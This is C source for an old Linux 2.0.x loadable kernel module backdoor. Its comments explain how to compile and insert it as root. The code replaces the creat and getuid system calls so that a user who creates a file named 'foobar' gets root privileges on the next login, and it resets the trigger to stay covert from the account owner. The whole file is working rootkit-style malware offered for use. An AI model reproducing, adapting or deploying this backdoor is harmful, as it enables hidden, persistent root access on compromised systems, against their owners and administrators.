/* kbd - Linux loadable kernel module backdoor for 2.0.X   */
/* 9.17.99 spaceork@dhp.com           */
/*                 */
/* Tested on Linux 2.0.38          */
/*                */
/* compile: host:~# gcc -c -O2 kbd.c        */ 
/*                */
/* add(as root): host:~# insmod kbd.o        */  
/* remove(as root): host:~# rmmod kbd.o        */    /*                */  
/* Usage notes:              */
/* kbd is a nice little backdoor that allows root access by     */
/* modifing the SYS_creat and SYS_getuid system calls.    */
/* Usage after insmod is fairly strait forward:      */       
/* 1. login as a normal user            */    
/* 2. host:~$ touch foobar          */
/* 3. login again under the *same* username      */ 
/* 4. the second login session will be given root privileges  */       
/*    host:~# id            */
/*    uid=0(root) gid=0(root) groups=100(users)      */
/* 5. Remember to repeat this procedure everytime you plan on   */
/*    using the backdoor. To keep this covert, the special uid  */
/*    resets after root is given out, this prevents the        */  
/*    legitimate owner of the account from receiving a    */
/*    suspicious root shell when he/she logs in.    */ 
/*                 */
/* TODO: Maybe add some stealth capability, this however might  */
/*   kill its hope of kernel generation portablilty.        */

#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <asm/fcntl.h>
#include <asm/errno.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <sys/mman.h>
#include <linux/string.h>
#include <linux/fs.h>
#include <linux/malloc.h>

extern void *sys_call_table[];

/* system calls we will replace */
int (*orig_creat)(const char *pathname, mode_t mode);
int (*orig_getuid)();
int u;

int bd_creat(const char *pathname, mode_t mode)
{
  int tmp;
  char *k_pathname;
  char name[] = "foobar"; /* change to whatever you wish */ 
  
  /* copy to kernel space */
  k_pathname = (char*) kmalloc(256, GFP_KERNEL);

  memcpy_fromfs(k_pathname, pathname, 255);

  /* Is the pathname our secret one? If so make the current uid special. */
        if (strstr(k_pathname, (char*)&name) != NULL) {
    printk("Your Kung-Fu is good.\n");
    u = current->uid; 

         } 
   tmp = (*orig_creat)(pathname, mode);
   return tmp;
}

int bd_getuid()
{
  int tmpp;

  /* Give root to the special uid, then reset the value of u. */
  if (current->uid == u) { 
    current->uid = 0;
    current->euid = 0;
    current->gid = 0;
    current->egid = 0;
         u = 55555;   /* change if this bothers you */
    return 0;
  }
  tmpp = (*orig_getuid) ();
  return tmpp;
}


int init_module(void)    /* setup the module */
{
        orig_creat = sys_call_table[SYS_creat];
  orig_getuid = sys_call_table[SYS_getuid]; 

        sys_call_table[SYS_creat] = bd_creat;
  sys_call_table[SYS_getuid] = bd_getuid;
        return 0;
}

void cleanup_module(void)  /* shutdown the module */  
{
        sys_call_table[SYS_creat] = orig_creat;
   sys_call_table[SYS_getuid] = orig_getuid;
}